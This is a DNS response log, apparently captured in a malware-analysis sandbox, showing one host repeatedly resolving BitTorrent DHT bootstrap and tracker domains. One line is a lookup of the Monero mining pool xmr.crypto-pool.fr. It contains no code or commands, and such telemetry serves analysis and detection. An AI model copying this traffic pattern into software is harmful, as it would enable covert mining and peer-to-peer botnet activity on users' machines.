Aug 23, 2023 09:14:52.814466000 CEST	8.8.8.8	192.168.2.3	0x29eb	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:52.814466000 CEST	8.8.8.8	192.168.2.3	0x29eb	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:52.855698109 CEST	8.8.8.8	192.168.2.3	0x5095	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:52.979526997 CEST	8.8.8.8	192.168.2.3	0x3e36	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:53.357093096 CEST	8.8.8.8	192.168.2.3	0xac52	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:53.646111965 CEST	8.8.8.8	192.168.2.3	0x5afd	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:53.813982964 CEST	8.8.8.8	192.168.2.3	0x8ccc	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:53.813982964 CEST	8.8.8.8	192.168.2.3	0x8ccc	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:54.393613100 CEST	8.8.8.8	192.168.2.3	0xdf7e	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:54.393613100 CEST	8.8.8.8	192.168.2.3	0xdf7e	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:54.473066092 CEST	8.8.8.8	192.168.2.3	0xeb83	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:54.473066092 CEST	8.8.8.8	192.168.2.3	0xeb83	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:54.532304049 CEST	8.8.8.8	192.168.2.3	0x1576	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:54.532304049 CEST	8.8.8.8	192.168.2.3	0x1576	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:54.567111015 CEST	8.8.8.8	192.168.2.3	0x18a1	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:54.600600958 CEST	8.8.8.8	192.168.2.3	0x1e98	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:54.667264938 CEST	8.8.8.8	192.168.2.3	0x70f	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:54.739989042 CEST	8.8.8.8	192.168.2.3	0x879c	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:54.831715107 CEST	8.8.8.8	192.168.2.3	0xd3b6	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:54.831715107 CEST	8.8.8.8	192.168.2.3	0xd3b6	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:55.898992062 CEST	8.8.8.8	192.168.2.3	0x6	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:55.898992062 CEST	8.8.8.8	192.168.2.3	0x6	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:55.958458900 CEST	8.8.8.8	192.168.2.3	0x145f	No error (0)	xmr.crypto-pool.fr		141.95.206.77	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:57.004141092 CEST	8.8.8.8	192.168.2.3	0x94a6	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:57.004141092 CEST	8.8.8.8	192.168.2.3	0x94a6	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:57.036007881 CEST	8.8.8.8	192.168.2.3	0xbb02	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:57.036007881 CEST	8.8.8.8	192.168.2.3	0xbb02	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:57.191761017 CEST	8.8.8.8	192.168.2.3	0xfb0f	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:57.335788965 CEST	8.8.8.8	192.168.2.3	0x8117	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:57.371546030 CEST	8.8.8.8	192.168.2.3	0xbda	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:57.394403934 CEST	8.8.8.8	192.168.2.3	0xd199	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:57.562669992 CEST	8.8.8.8	192.168.2.3	0x42a8	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:57.562669992 CEST	8.8.8.8	192.168.2.3	0x42a8	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:57.686136007 CEST	8.8.8.8	192.168.2.3	0xd5a9	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:57.686136007 CEST	8.8.8.8	192.168.2.3	0xd5a9	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.535540104 CEST	8.8.8.8	192.168.2.3	0x2b91	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.535540104 CEST	8.8.8.8	192.168.2.3	0x2b91	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.560910940 CEST	8.8.8.8	192.168.2.3	0xda9c	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.560910940 CEST	8.8.8.8	192.168.2.3	0xda9c	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.634529114 CEST	8.8.8.8	192.168.2.3	0x56f4	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.656534910 CEST	8.8.8.8	192.168.2.3	0x41c1	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.741235018 CEST	8.8.8.8	192.168.2.3	0xb734	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.767314911 CEST	8.8.8.8	192.168.2.3	0xe024	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.920913935 CEST	8.8.8.8	192.168.2.3	0x7dc	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:59.920913935 CEST	8.8.8.8	192.168.2.3	0x7dc	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.969585896 CEST	8.8.8.8	192.168.2.3	0xfeea	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:59.969585896 CEST	8.8.8.8	192.168.2.3	0xfeea	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.989175081 CEST	8.8.8.8	192.168.2.3	0x53ea	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.989175081 CEST	8.8.8.8	192.168.2.3	0x53ea	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:00.020339966 CEST	8.8.8.8	192.168.2.3	0xb06b	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:00.020339966 CEST	8.8.8.8	192.168.2.3	0xb06b	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:00.082981110 CEST	8.8.8.8	192.168.2.3	0x5646	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:00.109805107 CEST	8.8.8.8	192.168.2.3	0xd2c	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:00.137131929 CEST	8.8.8.8	192.168.2.3	0x6c1f	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:00.176661015 CEST	8.8.8.8	192.168.2.3	0xafcf	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:00.195378065 CEST	8.8.8.8	192.168.2.3	0x7de9	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:00.195378065 CEST	8.8.8.8	192.168.2.3	0x7de9	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:00.228584051 CEST	8.8.8.8	192.168.2.3	0x86ca	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:00.228584051 CEST	8.8.8.8	192.168.2.3	0x86ca	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:04.019537926 CEST	8.8.8.8	192.168.2.3	0xcf9a	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:04.019537926 CEST	8.8.8.8	192.168.2.3	0xcf9a	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:04.081022024 CEST	8.8.8.8	192.168.2.3	0xb007	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:04.081022024 CEST	8.8.8.8	192.168.2.3	0xb007	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:04.105571032 CEST	8.8.8.8	192.168.2.3	0xd127	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:04.126487017 CEST	8.8.8.8	192.168.2.3	0x1dde	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:04.182627916 CEST	8.8.8.8	192.168.2.3	0x3e25	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:04.205818892 CEST	8.8.8.8	192.168.2.3	0x9065	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:04.223782063 CEST	8.8.8.8	192.168.2.3	0x1f14	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:04.223782063 CEST	8.8.8.8	192.168.2.3	0x1f14	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:04.252736092 CEST	8.8.8.8	192.168.2.3	0x4656	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:04.252736092 CEST	8.8.8.8	192.168.2.3	0x4656	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.123383999 CEST	8.8.8.8	192.168.2.3	0x2ad0	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.123383999 CEST	8.8.8.8	192.168.2.3	0x2ad0	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.146205902 CEST	8.8.8.8	192.168.2.3	0x21d0	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.146205902 CEST	8.8.8.8	192.168.2.3	0x21d0	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.172966003 CEST	8.8.8.8	192.168.2.3	0x274f	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.260265112 CEST	8.8.8.8	192.168.2.3	0x2f4d	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.332220078 CEST	8.8.8.8	192.168.2.3	0x6d18	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.355587959 CEST	8.8.8.8	192.168.2.3	0xd272	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.395740986 CEST	8.8.8.8	192.168.2.3	0xfbc	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:05.395740986 CEST	8.8.8.8	192.168.2.3	0xfbc	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.523202896 CEST	8.8.8.8	192.168.2.3	0x1cb0	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:05.523202896 CEST	8.8.8.8	192.168.2.3	0x1cb0	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.644757032 CEST	8.8.8.8	192.168.2.3	0xf0e5	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.644757032 CEST	8.8.8.8	192.168.2.3	0xf0e5	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.878701925 CEST	8.8.8.8	192.168.2.3	0x6de	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.878701925 CEST	8.8.8.8	192.168.2.3	0x6de	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.968882084 CEST	8.8.8.8	192.168.2.3	0x631f	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:06.082863092 CEST	8.8.8.8	192.168.2.3	0x1a93	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:06.216700077 CEST	8.8.8.8	192.168.2.3	0x34d	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:06.296905994 CEST	8.8.8.8	192.168.2.3	0x1c6b	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:06.345585108 CEST	8.8.8.8	192.168.2.3	0x16e1	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:06.345585108 CEST	8.8.8.8	192.168.2.3	0x16e1	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:06.468457937 CEST	8.8.8.8	192.168.2.3	0x61c4	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:06.468457937 CEST	8.8.8.8	192.168.2.3	0x61c4	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:07.379688025 CEST	8.8.8.8	192.168.2.3	0xfed8	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:07.379688025 CEST	8.8.8.8	192.168.2.3	0xfed8	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:07.555608988 CEST	8.8.8.8	192.168.2.3	0x629a	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:07.555608988 CEST	8.8.8.8	192.168.2.3	0x629a	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:07.729763031 CEST	8.8.8.8	192.168.2.3	0x775f	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:07.875804901 CEST	8.8.8.8	192.168.2.3	0x6845	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:07.972938061 CEST	8.8.8.8	192.168.2.3	0x56c8	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:08.224823952 CEST	8.8.8.8	192.168.2.3	0xe9ff	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:08.312407970 CEST	8.8.8.8	192.168.2.3	0x7705	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:08.312407970 CEST	8.8.8.8	192.168.2.3	0x7705	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:08.367234945 CEST	8.8.8.8	192.168.2.3	0x8daa	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:08.367234945 CEST	8.8.8.8	192.168.2.3	0x8daa	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:11.149111032 CEST	8.8.8.8	192.168.2.3	0x56dc	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:11.149111032 CEST	8.8.8.8	192.168.2.3	0x56dc	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:11.301332951 CEST	8.8.8.8	192.168.2.3	0xeafa	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:11.301332951 CEST	8.8.8.8	192.168.2.3	0xeafa	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:11.413372040 CEST	8.8.8.8	192.168.2.3	0x39dc	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:11.889400005 CEST	8.8.8.8	192.168.2.3	0xcce3	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:11.997447968 CEST	8.8.8.8	192.168.2.3	0xaf45	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:12.073944092 CEST	8.8.8.8	192.168.2.3	0x91d5	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:12.135341883 CEST	8.8.8.8	192.168.2.3	0xb428	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:12.135341883 CEST	8.8.8.8	192.168.2.3	0xb428	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:12.169945002 CEST	8.8.8.8	192.168.2.3	0xcadd	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:12.169945002 CEST	8.8.8.8	192.168.2.3	0xcadd	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:15.947873116 CEST	8.8.8.8	192.168.2.3	0x6987	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:15.947873116 CEST	8.8.8.8	192.168.2.3	0x6987	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:15.975836039 CEST	8.8.8.8	192.168.2.3	0x6bbd	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:15.975836039 CEST	8.8.8.8	192.168.2.3	0x6bbd	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:16.007157087 CEST	8.8.8.8	192.168.2.3	0xb105	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:16.077716112 CEST	8.8.8.8	192.168.2.3	0x69ca	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:16.100472927 CEST	8.8.8.8	192.168.2.3	0xd5b8	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:16.124232054 CEST	8.8.8.8	192.168.2.3	0x4c9c	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:16.193357944 CEST	8.8.8.8	192.168.2.3	0x50e	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:16.193357944 CEST	8.8.8.8	192.168.2.3	0x50e	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:16.225503922 CEST	8.8.8.8	192.168.2.3	0x8a3	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:16.225503922 CEST	8.8.8.8	192.168.2.3	0x8a3	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:18.722084045 CEST	8.8.8.8	192.168.2.3	0xbe29	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:18.722084045 CEST	8.8.8.8	192.168.2.3	0xbe29	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:18.744359970 CEST	8.8.8.8	192.168.2.3	0xdabc	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:18.744359970 CEST	8.8.8.8	192.168.2.3	0xdabc	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:18.816859961 CEST	8.8.8.8	192.168.2.3	0x9727	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:18.835586071 CEST	8.8.8.8	192.168.2.3	0x2741	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:18.865150928 CEST	8.8.8.8	192.168.2.3	0xea42	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:18.943658113 CEST	8.8.8.8	192.168.2.3	0x458	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:18.967588902 CEST	8.8.8.8	192.168.2.3	0xcf46	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:18.967588902 CEST	8.8.8.8	192.168.2.3	0xcf46	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.031375885 CEST	8.8.8.8	192.168.2.3	0xac67	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:19.031375885 CEST	8.8.8.8	192.168.2.3	0xac67	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.143551111 CEST	8.8.8.8	192.168.2.3	0x5856	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.143551111 CEST	8.8.8.8	192.168.2.3	0x5856	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.170599937 CEST	8.8.8.8	192.168.2.3	0x7fd	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.170599937 CEST	8.8.8.8	192.168.2.3	0x7fd	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.209216118 CEST	8.8.8.8	192.168.2.3	0x8935	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.280173063 CEST	8.8.8.8	192.168.2.3	0xbc	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.306032896 CEST	8.8.8.8	192.168.2.3	0x66d4	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.376137018 CEST	8.8.8.8	192.168.2.3	0x6df7	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.405512094 CEST	8.8.8.8	192.168.2.3	0x6e	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:19.405512094 CEST	8.8.8.8	192.168.2.3	0x6e	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.455579042 CEST	8.8.8.8	192.168.2.3	0xec1c	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:19.455579042 CEST	8.8.8.8	192.168.2.3	0xec1c	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.615432024 CEST	8.8.8.8	192.168.2.3	0xb63d	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.615432024 CEST	8.8.8.8	192.168.2.3	0xb63d	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.650224924 CEST	8.8.8.8	192.168.2.3	0x1bd2	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.650224924 CEST	8.8.8.8	192.168.2.3	0x1bd2	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.698276043 CEST	8.8.8.8	192.168.2.3	0x2eaa	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.727559090 CEST	8.8.8.8	192.168.2.3	0x3aa1	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.757770061 CEST	8.8.8.8	192.168.2.3	0x1015	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.793533087 CEST	8.8.8.8	192.168.2.3	0x993c	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.860332966 CEST	8.8.8.8	192.168.2.3	0x1de6	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:20.860332966 CEST	8.8.8.8	192.168.2.3	0x1de6	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
